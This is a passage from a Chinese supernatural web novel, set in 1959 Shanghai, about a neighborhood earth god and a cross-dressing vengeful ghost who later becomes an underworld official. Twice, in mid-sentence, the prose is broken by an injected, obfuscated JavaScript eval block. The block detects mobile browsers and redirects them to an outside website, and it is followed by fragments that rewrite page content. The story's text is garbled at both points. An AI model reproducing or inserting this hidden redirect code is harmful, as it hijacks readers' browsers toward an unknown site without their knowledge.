1959年8月16日,虹口区四弄东北侧的老房子前,一个宁波阿婆在烧煤炉,还有一个杨浦区嫁来的媳妇在晒衣服,几个爷叔坐在小椅子上歇息,还有开老虎灶的徐州人在卖开水票……这些画面充满了烟火气息,也充分体现了市井百态的积极向上,而这就是二十世纪五十年代的新上海。 随着新中国第一次人口普查到来之际,许多以前没有名字的穷苦人终于能拥有户口本、身份证和一个属于共和国普通人民的新名字。 这天,赶上一年一度的中元节,来走访贫困户们的两个上海市浦西公安分局的同志们特地查过了户籍资料,并得知某座城隍庙正住着一个八十岁的老庙祝。 原本按照破四旧的要求,他是不能再从事迷信活动了,还应当改名,叫“管理员”,由公安局安排他遣返回乡下户口地,但是这个老叫花子在打仗的时候给龙华寺管过香火,也做杂役,烧功德饭,没有辛劳也有苦劳。附近弄堂里的人家虽然不知道他的全名,也都尊敬地叫他一声爷叔。 官,在五十年代的新中国应该是替群众办实事的一群公仆。两个年轻同志阅示一遍党内文选,觉得社会主义不得不帮这个可怜的老人。 可是就在他们打着当天去当天回的计划,穿着青灰色立领工人装作便衣打扮来到区管辖的路口,两个人停放自行车的过程中发现了一个鲜红血书的黄色鬼篆在墙角处。 这个街最前方还挂着“快马加鞭迈向社会主义”,没想到附近居民仍旧有不接受社会主义改造者!这个问题如果是发生在城隍庙附近可就严重了。因为他们有足够的理由怀疑那个老头子就是散播一切鬼神谣言的种子! 两个头铁的人也不多等,踏着月色就要找城隍庙的老头,你说这七月十五鬼门开,可再开也不敢开到党徽面前来,那个庙也不远,踩着被剥离墙体的符篆,他们看到了一个看路口的泥人老公公塑像。 无锡人同志马上认出来泥人是他家乡的特产。 按他的讲法,在盛产紫砂壶的锡山和崇安寺等处,到处都有出售泥人的店铺,这东西俗称烂泥菩萨,其中最受小孩子欢迎的一个,就是眼前这种手执扇子,好像下一秒会摇头的老公公。 但这个烂泥菩萨的身上也有点事。 听说摆在家里会吸煞气,小孩子拜会容易显灵,而且那个头如果摇断了,就说明烂泥菩萨替你家挡了灾祸。 另一位同志听着有点瘆得慌,加紧走路步伐,突然听到有人喊自己的名字。 转头一看,居然看到一个一脸死白的鬼魂老头坐在泥人的石头墩子上,他还在那儿摇扇子,晃悠头。 “小伙子,嘻嘻,你看我像人,还是像神?” “啊啊啊!”尖叫一声的年轻同志腿软撞墙,直接昏迷不醒了。 开始的那名无锡籍同志一转身,也吓得一屁股坐地上,差点把眼珠子扣下来喊:“爷爷!你都被小鬼子拉去砍头二十年了,咋在上海显灵吓唬我!” 他爷爷拉着个脸,低低地说起鬼话:“你都知道上进做官!我就不能在地府再接受社会主义改造?我当年虽葬在无锡,但现在不一样了,我是虹口区的地官之一,我是被分配的高级党员干部土地爷……” 孙子颤声说:“您是虹口区的现任土地爷!这,这事整的,我不好汇报给党……” 土地公公替子孙考虑说:“活人死人没有什么两样,大家都是需要多学习多思考的同志,我也不想让你往上打报告,现在是新中国了,地官同志们也开始倡导新思想,更不许我们向子孙后代索要纸钱纸人,再说用火烧纸还有安全隐患。” 孙子的心情一下子就感动到了极致,他还发现亲爷爷虽说做了土地公公,住的地方还是简陋非常,一个贫民窟的地官能有多少工资呢,他好奇心作祟地问了,爷爷告诉他:“地官开的基本工资是铜元三枚,但也有香火钱,我的信众们都是纺织女工,贩夫走卒,或是搬运工人等,薪水不高,但是我既然当了父母官也会保他们家宅安定,比如那道符篆就不能拿下,这几天街上到处是无常放鬼,我要帮忙打夜狐。” …… 爷孙俩又在弄堂的老虎灶前聊了一会,耳边有一声鸡叫传来。土地公连忙辞别孙子,他临走交代道:“切记少做死人文章,多趁着人活着对你爹妈妹妹好一点,往后你妈妈每年过生日,就回无锡去陪她吃一碗开洋馄饨,生你是她的难,孝顺儿孙才有运气。” 孙儿连连点头。 他爷爷化身烂泥菩萨,一道飘出石头人的灰白色灵魂也在胡同里的墙壁上瞬间神隐不见。 那孙子接着扶起同志送他回去完成单独的汇报工作了。他不知道自家老地官这一走,也是有上头交代的急事。土地爷更没敢告诉孙子,刚才的午夜鸡叫在这块地头代表着一种活人禁忌。 “哎呦,我才出来多久,那个鬼又给我……”土地爷贴墙跟的鬼气脚步声,一刻不停的,比人家凡人赶着投胎都快。 影影绰绰的天色正是子时刚过。弄堂里,煤球堆东一个西一个。 土地爷为了能紧急赶回到解放前就存在的城隍庙,还得穿过几次头顶“万国旗”状排列的居民内裤内衣,可他的庙已经容不下一个鬼了,一个再次企图冲破封印的人皮傩在墙上拍了很多很多很多惊悚血腥的道教手印,在被他拆掉匾额的庙门正当中还有三个字:“人,饿,吃。” 土地爷被吓得抖了三抖。 不过幸亏他还是多看了一眼那些字,下边原来还有两字呢。 “沈,选。” 土地公走到门口,把名字赶紧去掉,然后他冲着闩着的庙里喊:“说了多少遍,不要着急乱写还没出生的活人名字,你脑子瓦特啦?小乘光发过高烧不退是吧,做事体嘎么拎不清!” 黑暗中的人吐痰回答:“吵死了,老瘪三,事情真多。” “宣婴!你出来!”土地爷拿不定这个人。 “我伐要,我下次还敢写沈选,你别多管闲事。”那人赌气说。 土地爷心说你天天写也没用,这个名字根本还没投胎呢。 不过都说鬼无情,他庙里的这位鬼是不太一样。 从国民党政府执政时期,日寇侵华,到抗战胜利后……在历史的不同时期不同阶段,他都没有放弃生有地,死有处的想法,想想也对,这个藏在生地,死地,非人间的傩神既然死不掉,他就也会执着寻找人间能召唤自己的有缘人。 官早就说过,沈选,是必定会在未来解开厉鬼封印的人。 土地公公是地官,他有看住宣婴的义务,所以又叫门了三遍后,一个俏生生的黑影少女被他催着赶着出现了,一手还拉扯红绳上的铜铃铛。 甩着辫子的“女孩子”边闹脾气边撅嘴巴,还在孩子气地啃一块印着福字的糕点。 土地爷可不上画皮男鬼的当,只有凡人才会相信一个十二三岁的小姑娘能徒手剥人皮,老头用念珠挡着他不让鬼过来: “这大晚上的,你又去哪儿了?你是不是闻着人味儿就开始犯瘾?” 宣婴这厮眯了眯全黑色的瞳孔,他就爱戏谑怕自己的人,顶着一张艳过牡丹花的姑娘脸,挨过来用大老粗的大男人口气说,“好爷叔,看你说的,我去屙屎了,你这儿的痰盂和草纸我用不惯,我总不能屙在城隍庙的祭坛上,拿你的金银幡擦屁股,这对地官大人多不敬。” 说着他一摇一摆地靠在了庙门口的柱子上,单手捏起铜板,透过中间圆孔折射的光学现象对着血红色的月亮。 似笑非笑的阴间小姑娘放出身后似人非人的灰色魔物,指挥祂们往虹口区的老居民楼爬了出来。 “哦哟,对了。刚刚的那个小赤佬是你孙子吗?” “……你快行行好放过我的子孙吧!” 土地公一把拉他进来,把庙宇里面外面都锁起来,才拨开满屋子专门压制他却没有用处的血红色符纸说,“我问你,你一个厉鬼不吃不喝,哪里来的那么多的屎尿!” 宣婴蹲下来舔舐一口神龛上的蜡烛油和香灰,咧嘴露出笑容对土地公公凉凉一笑:“爷叔,我不是不饿,我是人皮傩,无脸无心无血肉无白骨,是世间第一污秽物,但你要是再不去烧几个下酒菜给我吃,我就去把你孙子吃掉咯。” “唔……香啊……人肉叉烧包……肉太岁……坛子姑娘……你说熘活人肝尖好不好吃……”宣婴的脖子以上越拉越长,巨大的黑色非人类头颅说着,发出嘶溜一下的舌头牙齿搅动声。 土地公不是第一天认识他,没办法地走向厨房的批灶,他俩在人间的日子过得可丢人了,别的地方都是地官老爷把食物赠给还愿的信众,他俩就成天管活人骗吃骗喝。初一的朱家角粽子,笋干晒黄豆,十五的虹口糕团双酿汤。 土地公不能学宣婴受贿,他也吃不了活人饭,嘴里嚷嚷道:“别闹了好不好!不就是想吃饭!爷爷我给我大孙女这就烧菜去!” 宣婴有一个习惯,欢喜人间饭菜,他是浙江人,就爱吃泥螺荠菜年糕笋子,土地公平时不想出这点钱,他就要闹,跟个没断奶的索命鬼一样。 “行……你说的,那我要吃柴火饭,你还得给我炒一盘称心如意菜,一盘黄酒蒸腊鱼干!一碟五香豆!一盘美林阁酱油烤菜!”宣婴拍拍小手,在庙里面跳来跳去。 他夹着嗓子鬼兮兮地唱起儿歌,兰花指掐的很传神。 “爷爷好,爷爷妙,我把爷爷塞进炉灶!爷爷吵,爷爷叫,我把爷爷宰了吃掉!” 女小囡模样的婴姐唱戏总是很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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三十年代的上海滩,那张最美的面孔无疑是阮玲玉,她令上海女人都学起了一头精致摩登的卷发,水绒绒的簇黑弯眉,粉扑子脸和大红唇。 宣道长捐完家产也就有样学样地寻了几个无人认领的尸体,剪掉了头发,重新植发给自己做了几次换脸手术。 当时他化名小梅花,成了远近闻名的‘豆腐西施’,为笼络一些裙下之臣免费给他送人皮,这位‘男西施’难免有卖弄风情之举,引得周围的男人老以‘吃豆腐’为名到豆腐店与老板娘调情,更有心怀叵测者想用强,正好落入艳鬼的圈套。 到了新中国成立,他决定收手,一度在各种丧事上收购人皮做伪装。 直到1950年3月18日,“她”发现有身份证才能住在城市,于是宣婴只能考入上海护士学校,并给自己办了第一张身份证,照片上的她有着端正大方的椭圆脸,浓密的乌发,明亮的眼睛,起的名字叫徐小英。 可很不幸的消息是,因为她是个好学美丽的女同志,人民公社打算安排她前去大西北合并公社帮助别人扫盲,最后他只能杜撰了一场痢疾杆菌带来的发烧昏迷,提前把“她”自己给杀死掉了。 过了没多久,徐小英的远房表姐“张飞霞”也从外地住回到了虹口区,“她”是个19岁的裁缝女学徒,有忧郁沉思的双眸,欧式风格的嘴唇,在这个地方似一位文艺复兴时期的维纳斯女神,几乎每天走来走去还会有青年公寓的情书塞入她的车篮子。 他想起他没投胎的沈家后人肯定是一概拒绝的,也逐渐习惯过起了上海人家的平民生活,对衣、食、住、行都模仿“人”,而不是说想着吃掉几个人。 他还挺想投胎做人的,他想改变,并且希望地府能给他尽快安排一个出生在100年后,父母双全,上海户口,性别为女的下辈子。 这段日子地官殿收到的申请也充斥着宣婴对投胎转世的强烈意愿。 “我又来申请转世投胎了,重申一下我的要求,本人下辈子的学历要高点,上个复旦总是要的。” “最好是成分正确,祖上不能是地主老财,汉奸走狗更不行。” “必须得是女的啊,实在不行,其他都可以不要,是女的,就行,就算我不做沈家后人女朋友,做他家里最漂亮的小姨也行啊,地官大人。” “喂?喂喂?后土娘娘!地官大人?四大判官!无常老爷!牛头马面!我是虹口区的进步青年厉鬼宣婴同志啊,你们不认识我啦!怎么都给我把黄表纸原路退还回来了?” “在吗?” “在吗在吗?” “在吗在吗在吗?” “在吗在吗在吗在吗在吗在吗在吗在吗?啊啊!土地!地官殿那边干嘛不讲话了还突然拿雷劈我!吓死我了呜呜呜!” 7. 天字号:金华夜鬼(2) 土地公公听了真是头大,别说宣婴了,他也想找地官殿投诉。 真吵。 阎罗王送了我一只“珍珠鸟”。 宣婴也想不通,装聋作哑的地官殿到底是不是作弄人呢。难道,厉鬼积攒功德对投胎根本不起作用? 土地公公端菜出来后,为了安抚他额外加了一道呛虾。 宣婴想发脾气的眉心一松下来,抬腿走到桌子旁,拉椅子垫的手不再故作女人姿态,点了一只香烟,洗洗手就拿起筷子吃饭。 他吃虾有讲究的,只吃一顿,不能隔夜,煮虾只用水和葱白,姜块三样。河虾的家常做法本就是越简单越鲜美,用黄酒,米醋,蒜蓉和腐乳汁生呛,既有糖醋风味,又没有白酒那么呛喉咙,拎着虾胡须咂一口汤喝简直是甜到了他的心里。 土地爷坐下陪喝两口小酒,呵呵他的吃相道:“真是个人模人样的饕餮胃小女子,宣小姐,要不别等沈家后人,还阳给老头子做孙媳妇。” 宣婴媚里媚气地笑着翻他一对白眼。土地佬的孙子长得像个猴精,宣小姐给他拴上绳子练练街头卖艺钻火圈还差不多。 宣婴说着又发出嘶溜一下的舌头牙齿搅动声,他为了能唤回理智,改变话题说:“沈樵的双胞胎儿子沈严和沈湘都到了该受召唤的年龄了。” 地府要是真的不给他安排投胎批次,好歹把他收个编制,把转业问题安排的明明白白吧? “我怕我投胎去了,没功夫再去看他们,我住在虹口就是想陪两兄弟玩。我想天天带他们跳格子,踢毽子,偷你的香火钱给他们买生煎包吃。” 土地爷觉得宣婴这么大的人,脑回路也太傻了吧。 不过他死掉之前的岁数其实根本不大,这小子也没吃过人饭,童年时期的绍兴留给他的记忆更多只有生父的虐待和老道士的凌辱,他现在喜欢敲诈自己这个土地爷也是闹着玩的。 老头子对他来说像他亲爷爷一样,二人从建国后就互相陪着彼此,宣婴帮忙看住城隍庙,也是因为知道他法力低微,游魂野鬼会来偷庙里的香火,这个人皮傩就直接大发神威用体内傩神吞吃了很多的夜狐狸。 命运的转折点又来到了。4天后,宣婴从地府又打听到一个小道消息了。据说凭借他跟牛头马面的私人交情,人家鬼差主动跟他讲,杨浦有个女的快死了,她是枉死命,八字还特别轻,野鬼们如果可以抓住机会就能靠着她的身体直接还阳。宣婴也很快就把好事情分享给土地公公。 土地一听指责他心术不正,差点想抄起鸡毛掸子警告他在人间玩夺舍小心又被道士降服。 宣婴蹲门槛上吃瓜子,很不以为意地回答:“她本来就该死了,是阎王爷要她死的,又不是我害死她的!而且你当我是傻子啊,我很精的,早提前打听过了,这一家子只有两个人,成年男人都没有,哪里来的门路请道士和尚哈哈哈?” 土地公公听说此事的前因后果后,对他的善恶黑白不分感到悲哀,可是宣婴的投胎问题似乎也这么解决了,厉鬼夺舍既不用等地府安排,也不用冒着投成阿猫阿狗或者再做一次男人的风险,所以当被买通的鬼差在后半夜一报信,宣婴马上把新衣服一穿欢欢喜喜地奔向了杨浦。 土地爷在城隍庙继续抬高二郎腿抽烟叹气,到后半夜,老神仙又愁又困,模模糊糊听到庙观进来人,可这是谁啊?宣婴不是夺舍去了吗?应该不可能是他回来了吧?土地爷不由得心里空荡荡的,他不想承认他很不放心,才会一直在等一个厉鬼。 万万没想到的是,当暗处的手点亮了城隍庙的蜡烛台,出现在灯下的脸就是宣婴,他带着满脸奇怪从杨浦连夜赶回来了,左手还提了一网兜苹果和鸡蛋糕,看见土地爷就撒手扔进老头子的怀里。 宣婴满头大汗地说:“烦死了,大老远竟然白去了!喏,还是你把这些贡品全吃了吧,我本来想买点水果送送其他地府熟人的……哎,不是专门给你啊,别误会!” 土地爷疑惑不解,提起开水瓶给他倒茶,大胆地发问道:“你咋了?这是想走地府关系没走成?” “屁!我和你讲,我到了那户人家,发现事情是这么回事……” 宣婴对着茶碗吹开热气腾腾兀兀的白烟,转述起他跑去蹲守投胎转世名额的经过。土地爷开始完全不知道前因后果,可他一路听下来,他的表情动容了起来,一道道沟壑纵横的面颊挤巴巴的,讲不清楚是同情故事里的母子还是心疼来回折腾的宣婴了。 “所以……你是说,那个本该枉死的女同志今夜没死成?”土地爷有些严肃地问。 宣婴便是铁石心肠,也有点替自己想做的事情害臊:“当然没有!人家孤儿寡母的,孩子还刚好生了病,阎罗王和鬼差倒好,让我去钻这种空子!” 土地爷把宣婴讲的故事又重头开始想了半天。据说,今夜他到的时候,发高烧的小孩子刚刚睡了,他姆妈忙的差不多了就去烧地瓜汤了。一个三十多岁守寡的女同志要进工厂劳动,还得亲自带小孩看病是真的苦,其实她也就是打个盹的功夫,宣婴倒数着数就闻到了一股刺鼻的烟味,他看着灶台上的滚滚黑烟,女人还一无所知地睡着,在被生活不易累死和被一把火烧死之间,地府给了一个答案。 宣婴觉得这个安排就不合理,他觉得自己被作弄了,恶狠狠批判起了地府:“ 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撕心裂肺到一半,他又酸溜溜瞪着脚下说:“你是不是在心里笑话我?告诉你!我无所谓!做人有什么好的,投胎哪有我堂堂鬼仙逍遥快活?不投就不投了吧!” 他叉着腰,气得要死,不停抓头发跺脚的样子,倒是把土地爷逗得大笑了很久。 后来要不是土地爷苦劝他,宣婴还得找地官胡搅蛮缠。经此一事,他们在一起产生了更多革命友谊,土地公公待宣婴,开始如待儿孙,他觉得宣婴能在城隍庙做个悠然自得的鬼仙比游魂野鬼好,土地公公乐意烧菜给小厉鬼吃了。虽说人是要继续想办法做的,但他们都应该有新的生活,为他们自己所未经生活的。 宣婴有饭吃,他不用受冻挨饿了,也就这样放弃了他的一次宝贵投胎名额。 可自那以后,他常去杨浦,每次回来,他还非说没去。 …… 过了这个中元节。 宣婴的裁缝班夜校毕业了,叽叽喳喳跟闺蜜们手挽手去看了一场芭蕾舞电影《白毛女》,他还欢喜地展示了共和国颁给“张飞霞”女同志的第二个职业资格证书。 土地爷数着他孙子烧来的纸钱,表扬说,他可能是建国后最有党性的女鬼,噢不,是男鬼。对了…… “哦哟,恭喜宣小姐夜校毕业啦,爷叔今天想开荤了,烧一道绍兴黄酒红烧肉切切!再给你买两个糖葫芦,豆沙糕团也要两斤左右,喜欢伐?” 烂泥菩萨神摇起扇子,笑眯眯地当这是哄孩子。可谁让宣婴就是个没长大的孩子,还这么招老头子喜欢心疼呢,真希望他能得偿所愿啊。 没想到一个星期后,土地公公真把一张地下烧上来的黄表纸拿给了男鬼。 8. 天字号:金华夜鬼(3) 宣婴抱着一袋糖炒板栗从沈家门口归来,两个人马上关门研究。 “宣婴,还是你有文化,给我讲讲你的读后感。” 土地爷大字不识,是没有小学学历的文盲。 宣婴哂笑,他坐在土地爷泥人墩子上戴起了一副老花镜,逐字逐句地学习了地府领导们的精神纲领。 “虹口土地公公同志,宣婴同志,我们是酆都党委的,泰山最高领导,伟大的无产阶级天宫鬼神在下方刚刚对他们虹口区城隍庙做出了五项指示: “第一,他们已经决定取消超度厉鬼制,实行进一步党内改造,并任命宣婴为金华府五猖大将军,救民国四破,斩地狱四鬼,宣扬中原正声,和其他三十二位地官一起统管人间正义,即日起前往金华市义乌市上任地官。” 宣婴看了不奇怪,他反倒是有种心里的大石头一落的感觉,他能成为地狱授书的鬼官这不是正好方便等沈家后人吗? 战争时期的他曾经选择南京做改过自新的新开始,他在完成第一次万鬼超度前就填过一份入党申请,现在他的政审材料通过,三官破格提拔他做地官也不是不可以的。 减去十年,一百年还有多久,他就在人间等沈家后代多久。 宣婴果断把黄纸签上大名燃掉回复地官殿。 “末将宣婴接令,即刻会带着我的土地一起前往金华上任五猖大将军,从此夜游人间,赦罪百鬼。” 土地公公口是心非说:“你等等,我的家当都在这边,我是上海地官可不能跟你——” 宣婴整个人翻进了城隍古庙的法坛,找出看家本事——一块金睛火眼貔貅上古大巫傩戏面具,他说带土地爷走便是动真格的。 “你这是跟随组织调动神龛,全心全意为人民谋香火,土地公同志,跟我走吧,从此金华百鬼大将来给你杀鬼养老。” 土地爷不说话了,过了会儿,拿出官场经验说:“那要是当地的五猖不服你一个人初来乍到,你咋办?” 宣婴答:“我部奉天官之命定接管它们的首级。” 这架势……土地公知道地府选择宣婴的理由了。他俩从城隍庙往外看去,家家户户的老虎窗印着老上海的夕阳无限好,大家也不晓得,菜市场后边帮街坊邻里打开水的两个神仙是要去别的地方了。 “姆妈!我们家的晾衣叉掉下去了!” “这不是亲家公嘛?上次叫你还是在木材市场背后的海鲜酒楼!现在都搬来家门口了!” “囡囡,今天下学和妈妈外婆到澡堂里去洗一把头发……” 世人都晓神仙好,却不知道通过天官政审前的他们一个是小鬼子闸刀下的断头鬼,一个是十二岁被活埋的饿死鬼,也许,上苍安排的飞升考验就是这么残酷吧。 他俩一时感慨,加上和活人们打交道,住在一起久了,莫名舍不得弄堂里处处散发的烟火气息,宣婴不由自主地读起了手上的地府调动信。 “土地同志,宣婴同志,人间从苦难中破茧,也让初生大地恢复干净,道教三官从天上看人间,都觉得新的华夏万民不可再追崇晚清民国陋习,把白茫茫一片的土壤变作藏污纳垢之地。 “你们二人作为公开干部上任金华市后,日后主要负责降服的四种死鬼就是四种地府特批的新中国四鬼,一大烟鬼,二迷信鬼,三汉奸鬼,四文盲鬼,切记不可再与此类人员同流合污。 “三,驱魔除害任务展开需要同志们的配合,四破大殿的守护神,上界真君们已经通过民主选举任命了四个死在共和国建立之前的女同志,其中东殿堂上的仙姑是四岁已经裹过小脚的等郎妹;西殿仙姑,一个被父母配冥婚的童养媳妇;南殿,一位被老年嫖客感染梅毒的沉塘妓;北殿是一位生前因为生不出男丁最终七胎难产的不孝女。 “四,宣婴,土地,你们不论职位高低,权力大小,要记住没有特殊性,不得收取额外香火,否则属于违纪违规。” “五,地府工作者有必要将扫盲任务进行到底。为了加深厉鬼道德观,去到新组织,脱离城隍庙也要多读《道德经》。” —— 八月底九月初,在一个工厂下班,周围没有风的秋燥夜里,宣婴帮土地爷提红色开水壶出门打了最后一次老虎灶。他走过水厂土色围墙上的革命尚未成功大标语,嘴里咀嚼着一口早上菜市场买来的紫皮大甘蔗,边吐渣子,边歪嘴哼哈: “苏三离了洪洞县,将身来在大街前……” 他今天难得是个年轻漂亮的男人样子,久不见光的半张脸雪白像刷白的裁缝样衣板,嘴唇又血红地像铁汁,像个匿在光影底下的吸血鬼伯爵阁下。但西洋人作家在气质这一块绝对写不出这个东方男子的全貌,他比女鬼更魅,男鬼更俊,他是一场属于1938年的午夜厉鬼惊魂,历史是一台电影院放映机的话,他就是那个枯朽空洞的“男主角”,抽着害死旧社会千万人的一口大烟,眼神变幻莫测,随口吐一口白烟能让人感觉销魂蚀骨。 可惜这张脸再俊俏也是公的,他还是没解决俩公的没办法生孩子的生物学难题,看来,沈选就是断子绝孙的命了吧。 无可奈何的宣婴唱开了假姑娘嗓子,又把练习很久的身段扭动了起来。 他在“小梅花”到“徐小英”中间跑到戏班子卖过唱,旦角儿都是要保护好脸,他会用木炭,或是烧过的丁香枝画眉,挖坨双铢牌雪花膏,往头发丝上都要喷洒花露水和茉莉香。 都说岁月不饶人,却不曾在他芳华绝代的脸上留下痕迹,他即将一走就是一百年,但是旧上海对他而言记忆犹新。 他会站在1959年的这头,永远记得自己在另一个时空的上海听过梅兰芳大剧院传来的《女起解》。 因为这出戏是宣婴对于古典爱情的全部理解。 他曾查过戏本,得知这一折的女主人公苏三之所以会唱这段,是因为吃了冤枉官司,不得不从山西的洪洞县被押解到太原去。 她本是艺名为“玉堂春”的妓/女,有个叫王金龙的男子欲救她出苦海却被奸人所害,两人自此不得相见,所以苏三起解表达的意思就是表达她对王金龙的怀念和感恩。 梅兰芳先生当年的首唱也特别好,这使得这段唱腔在大江南北流行了几十年,也在宣婴的脑子里面种入了一个人的名字。 “沈选。” “在吗?” 宣婴活在建国后的新中国已经十年,对上海除了城隍庙并没有别的念想,但是他还是铺开草纸,蹲在墙角用学校发的铅笔练习了很多次关于“沈选”的名字写法。 “算了,要不换个开头好了,就这样写,致,沈选,我是你的苏三……今日已是小秋刚过,霜降黄昏的草木深情见证了我家阁楼那头的拉琴声……” “今天是1959年9月3日的上海虹口区,风很好,我吃的很好,人们的生活也很好。” “此刻你的内心一定充满了好奇,那么就容我自我介绍一下,我的名字,叫张……飞……霞,彩霞的那个霞,曾经也是旧社会的苦命男……不,女儿家,而我写出来这封亲笔信的地点呢……就在静安寺路西摩路口,它叫凯司令。” “这是一家老上海人人都知道的西饼屋,这里有一款西点,叫栗子白脱蛋糕,味道老么灵了……蛋糕顶还有一个栗蓉小帽子,香香甜甜就像一朵云。” “你说,你收到信的时候,上海还有没有卖凯司令的?哪天有空的话,一起去踩踩马路好不啦?” 这段信的开头,好几年前已经有了,中心思想却还需要进一步加深。 不过字里行间也能看出八个字,鸿雁传书,苏三起解。 100年后,某月某日的上海会有个凡人收到这一张张纸。 对方还会发现纸有一个永远没有被人完成面容的花旦画像。 落款不出意外就是宣婴苦练出来的这一手娟秀的美字。 要知道这可是人民教师教出来的成果,是宣婴写光了十根铅笔才练出来的手写字体。 情窦初开的少年一定会对他的“飞霞”芳龄几何,家住何方的事情感到好奇,宣婴颇为得意,深深地觉得写信给沈选才是一场人鬼情未了故事的真正开头。 他已经一个人主动做了很多很多,想必未来他们一定会有一个跨越时空的浪漫约会,因为这是他对马氏沈樵的交代,也是香火湮灭,铜铃逐渐模糊的神龛上在继续呼唤他活下去的一道汽笛鸣响。 “沈选,我会在地府十万冤鬼路上的断魂夜,静静等你出生于南方最为草木茂盛的拂晓天。” —— 后来某天夜里,1959年的上海市夜有异象。 宣婴依旧放不下马氏的交代,但建国前化为厉鬼的他还是完成了一次原地飞升,在一串电闪雷鸣中,他携吃光仇人的凶恶和不杀一人的慈悲,等到了功德圆满。 他皈依发愿都在道教神明座下,后土娘娘便钦赐其封号: 天祀荡扫十魔真君。 “何为神?便是拿起屠刀,是鬼,放下屠刀,是人。杨浦从无母子,那是为娘的化身,如今你已完成历练,快快别哭别哭,我的好儿郎婴儿,快与娘娘去往冥府享百世福吧。” …… 此后虹口再无土地爷俩了。 城隍庙空出的第二年,上海沈家出了一件事,马氏的遗腹子撞克了,据邻居老人说,他们仿佛被某种“官”附身,那种惨叫回荡在这个很破的胡同,俩兄弟眼看就要双双死去了。 当时社会早就不迷信了,沈家自从死了双亲也不再设置祖宗祠堂,可不知怎么回事,有一道雷电降下,第二天,沈湘死了,沈严却幸运地活了下来。 马家三舅舅和舅妈自此把沈严当做了独苗苗,他们三口人住了十年短租的房子,沈严渐渐长大了,健康,英俊,学习成绩优异。 数年后,他返乡考上大学,带着全家搬进六层楼教职工家属院。 等到妻子刘海燕怀孕那年,沈严的工资待遇成为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950544|160910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了时代的标杆。 后来时光匆匆,他们给未来的孩子简单收拾一间房,东拼西凑给第一个爱情结晶织出时代的美好摇篮,又化作两只庇护幼鸟的大鸟趴在窝旁边和衣而睡,为其留下了沈家下一代的名字。 十个月后。 上海市浦东新区曹路镇某妇幼保健院,某夜间家属病区飘着一股蚊香片味和一种庙观菩萨身上的香火烧糊味。 “生了!”沈严在产科大门口喊。 “生了!起名字!赶快起名字!”土地爷趴在他身上也跟当爹似的。 宣婴怪没好气的,他头覆鬼脸,浑身浊气,凶戾的眼神看着很不期待,又忍不住趴在沈严身上张望产妇和沈家的第三代新生儿。 沈严突然觉得肩膀的两边重量变得好奇怪,他摸到了宣婴头上的垂穗莲花神冠,对着空气说:“诶?我的肩周炎是不是又犯了?我这俩倒霉胳膊上怎么和趴着两个大老爷们儿一样?” 土地:“……” 宣婴:“……” 沈严根本看不见神仙们,但沈家后人也永远不会知道,小时候的他之所以没有重蹈覆辙,是靠着宣婴飞升也不忘对他们家宅的庇佑。 宣婴将沈家早视作至亲血肉,但他身上阴气太重不能老靠近沈家人,多年未改的刀子嘴豆腐心也在发作的边缘…… 他抬起一只手把面具摘下来。 医院散发消毒水味的灯光下,俊鬼一个的地府大将军整整纸扎衣冠,白色的眉睫上多了两只古代蛇类的复眼。 待他单腿从半空中落地,用手指勾起胸前悬着的一缕雪白长发,那四只属于“官”的眸子一起阴森森地端详病房里的刘海燕说。 “我真不放心沈严,他怎么还不给海燕进去送点开水?产妇最需要关心不知道吗?我也是贱,跟没见过世面一样,你说沈樵的儿子生了大胖小子,那肯定也不是我等的人,我俩千里迢迢从金华跑人家两口子的跟前来又唱又跳干嘛?” 土地公公说:“不是你吵着想看着小宝宝出生,然后被爸爸妈妈起名字吗?” 沈严这家伙不知道是不是故意的,真给他儿子现场张罗名字了。 “算了,不管了,我待会儿就来问问海燕的意见,不如我们给他起名叫沈如诚吧!” 土地公公更来劲了,推一把宣婴,语出惊人道:“你未来岳父有名字了!快听听!多么美好的名字,人就应该诚实,不应该嘴硬,是吧?” “你小声点,我堂堂七尺男儿,可不能被小鬼们发现在人间沾亲带故了!” 宣婴说着冷撇一眼病房里的三口之家,他在冥府已经呆了几十年,升为地官的官职地位也今时不同往日。 但如果宣将军他老岳父以后满月的事情传出去,他在道上还怎么混?小鬼们可不得争相送礼道喜! 土地爷诚心要气他,掏出来一本生死簿划掉一个名字。 “别扭了?都是亲家嘛,走吧,我们俩再去看望看望你岳母的投胎号码有没有安排好……崔判官跟我说了,你岳母是年底生下来,等她降世,你岳父才能跟她在一起,然后他俩读书,结婚,生子,你未来相公沈选才能……” 崔判是他俩的同事,在民间传说故事里,曾提到四大判官,钟馗,陆之道,魏征以及崔珏,崔判就是崔珏。 宣婴从1959年开始掌管五猖,直属第五阎王座下,他的兄弟单位正是崔判管理的阴律司。 崔判是唐朝人,但差辈分的二人依旧成了没事整两盅的铁哥们儿,加上阎王,判官,冥将,土地这些“官”是一个体系的,他们都是帮助后土娘娘执掌地府生死轮回事务的地官,人家崔判肯定乐意帮大将军这点小忙。 谁让宣婴死之前的事迹也很出名呢。这个献祭血肉白骨的冥司第十九位地官,为了报答沈家先祖马氏的大恩将会迎娶沈家第38代孙沈选,他们的上司阎王殿和后土娘娘也都是统统都知道的。 正所谓人间有真情,世道有真爱,他们这阴曹地府也有给员工送温暖的时刻,这不听说宣将军的岳父岳母即将呱呱坠地嘛,按照冥司的规矩,他的两位干娘们早提前给他放了三天产假,发了一箱子苹果和红白蜡烛,还不扣他的工资条呢。 “你把我的脸都丢了!赶紧回地府该干嘛干嘛,等我的喜事真的来了,我还他们人情都还不起了!” 